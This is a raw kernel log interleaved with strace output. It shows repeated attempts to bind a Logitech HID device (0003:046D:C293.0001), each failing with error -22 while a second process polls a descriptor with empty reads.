[ 73.417959][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[ 73.430352][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.441852][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.456285][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.477601][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.502024][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.525860][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.540531][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.553050][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.575804][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.579948][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.591153][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.603468][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.615550][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.626993][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.649719][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.664611][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.676164][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.699172][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 73.721209][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.752084][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.763512][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.794837][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.816706][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.848797][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.860622][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.882474][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.904506][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.917982][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.929342][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.940917][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.953273][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.976033][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.987394][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.008958][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.031784][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
